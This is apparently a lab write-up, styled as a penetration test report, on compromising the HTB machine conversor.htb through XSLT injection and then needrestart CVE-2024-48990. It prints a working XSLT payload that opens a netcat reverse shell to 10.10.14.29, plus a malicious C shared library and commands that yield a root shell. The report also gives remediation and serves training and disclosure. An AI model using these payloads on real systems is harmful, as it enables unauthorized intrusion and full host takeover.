

Offensive Security Assessment: Project Conversor (Web / Needrestart)

Project ID: SEC-RPT-LIN-CONV-2025
Classification: Public / TLP:CLEAR
Scope: conversor.htb Document Platform / Document Conversion Web Server
Assessment Type: Web Application Penetration Testing and Local Privilege Escalation
Status: Validated Critical Compromise / Successful Root Escalation

1. Executive Summary

During the technical audit of the conversor.htb platform, a critical vulnerability in the processing of Extensible Stylesheet Language Transformations (XSLT Injection) was identified, which allowed the injection of dynamic operating system functions and resulted in remote command execution under the web server context.

In the post-exploitation phase, the server was confirmed to be running an outdated version of the needrestart system maintenance utility, vulnerable to shared library hijacking (CVE-2024-48990). By manipulating the PYTHONPATH environment variable during elevated process execution, the loading of a malicious C-compiled shared library was forced, obtaining interactive access as root and completely compromising the server.

2. Findings and Impact Matrix

Vulnerability / Finding	Criticality	CVSS v3.1	OWASP / CWE	MITRE ATT&CK Mapping
XSLT Injection with Remote Code Execution	Critical	9.8	CWE-94 / OWASP A03:2021	T1059 - Command and Scripting Interpreter
Shared Library Hijacking in Needrestart (CVE-2024-48990)	High	7.8	CWE-427 / OWASP A06:2021	T1574.006 - Hijack Execution Flow: PYTHONPATH
Internal Authentication Hash Exposure	Medium	6.5	CWE-200 / OWASP A01:2021	T1003 - OS Credential Dumping

3. Technical Details and Proof of Concept (PoC)

3.1. XSLT Injection and Initial Foothold

The web application permitted uploading custom XSLT templates to transform XML documents. The parser did not disable native scripting functions or external PHP/Java extensions. A malicious stylesheet was constructed to execute system commands:

```
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
  <xsl:template match="/">
    <xsl:value-of select="php:function('system', 'rm /tmp/f;mkfifo
/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8888 >/tmp/f')"/>
  </xsl:template>
</xsl:stylesheet>
```

The file was uploaded through the conversion endpoint, and an interactive shell was established on the listener:

```
nc -lvnp 8888
# Conexión establecida desde el servidor web
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

- **Technical Impact:** Remote code execution under the web service account context and unauthorized file exfiltration from the host.
- **Remediation & Hardening:** Explicitly disable external entity loading (`libxml_disable_entity_loader(true)`) and block extensions such as `php:function` within the XSLT processor.

3.2. Local Privilege Escalation via Needrestart Exploitation (CVE-2024-48990)

Environment inspection revealed the presence of the needrestart package in versions vulnerable to CVE-2024-48990. The utility inspects running processes and spawns the Python interpreter while inheriting or evaluating paths controlled by unprivileged users via the `PYTHONPATH` environment variable.

A malicious library structure mimicking the `importlib` module was created:

```
mkdir -p /tmp/malicious/importlib
cat << 'EOF' > /tmp/malicious/importlib/__init__.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
EOF
gcc -shared -fPIC /tmp/malicious/importlib/__init__.c -o
/tmp/malicious/importlib/__init__.so
```

The execution was invoked forcing the inclusion of the controlled directory into Python's module lookup tree:

```
cd /tmp/malicious
PYTHONPATH="$PWD" sudo /usr/sbin/needrestart
```

When evaluating packages, the binary running as root loaded the malicious shared library, spawning a superuser shell:

```
root@conversor:/tmp/malicious# whoami
root
root@conversor:/tmp/malicious# id
uid=0(root) gid=0(root) groups=0(root)
```

- **Technical Impact:** Local privilege escalation and complete control of the host infrastructure.
- **Remediation & Hardening:** Immediately update needrestart to version 3.8 or higher, which mitigates the insecure parsing of user process environment variables.